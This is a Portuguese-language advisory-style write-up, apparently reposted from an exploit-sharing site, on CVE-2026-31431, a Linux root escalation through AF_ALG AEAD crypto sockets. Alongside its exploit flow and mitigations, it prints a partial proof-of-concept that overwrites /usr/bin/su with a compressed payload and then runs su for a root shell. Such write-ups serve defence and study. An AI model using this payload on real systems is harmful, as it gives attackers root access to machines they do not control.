CVE-2026-31431

📌 CVE-2026-31431 – Escalação de Privilégios via Uso Indevido de Crypto Socket AEAD

🧠 Visão Geral

A CVE-2026-31431 é uma vulnerabilidade de escalação de privilégios no Linux que abusa da interface AF_ALG (kernel crypto API). Ao criar uma interação maliciosa com sockets AEAD (Authenticated Encryption with Associated Data), um atacante pode escalar privilégios e executar código como root.

Esta vulnerabilidade explora o tratamento inadequado de operações de socket criptográficas, permitindo manipulação controlada de memória e eventual escalação de privilégios.

⚠️ Impacto

• Escalação Local de Privilégios
• Acesso a shell root (/usr/bin/su)
• Afeta sistemas com implementações criptográficas vulneráveis no kernel

🔍 Detalhamento Técnico

O exploit:

• Cria um socket AF_ALG

• Faz bind em:

  root@kitploit:~

  authenc(hmac(sha256),cbc(aes))
  

• Usa payloads elaborados via setsockopt e sendmsg

• Aciona comportamento não intencional do kernel

• Abre shell root via:

  root@kitploit:~

  g.system("su")
  

Indicadores-chave:

• Uso de socket(38,5,0) → AF_ALG
• Manipulação de AEAD
• Escritas controladas de memória via payload compactado (zlib)

💻 Prova de Conceito (PoC)

🔑 Trecho do Payload Principal:

**Aviso: Eu não sou o autor deste PoC. É apenas para fins educacionais e para testes em ambientes onde a permissão está disponível. O Autor/proprietário não será responsável por qualquer uso indevido. **

f=g.open("/usr/bin/su",0)
i=0
e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))

while i<len(e):
    c(f,i,e[i:i+4])
    i+=4

g.system("su")

🚀 Fluxo de Exploração

1. Inicializar socket criptográfico
2. Configurar parâmetros AEAD
3. Enviar payload elaborado
4. Acionar a falha do kernel
5. Sobrescrever o fluxo de execução
6. Abrir shell root

🛡️ Mitigação

• Atualizar o kernel para a versão mais recente
• Restringir o acesso a sockets AF_ALG
• Usar políticas LSM (AppArmor/SELinux)
• Monitorar uso anormal da API criptográfica

🙏 Créditos

• PoC: https://github.com/theori-io/copy-fail-CVE-2026-31431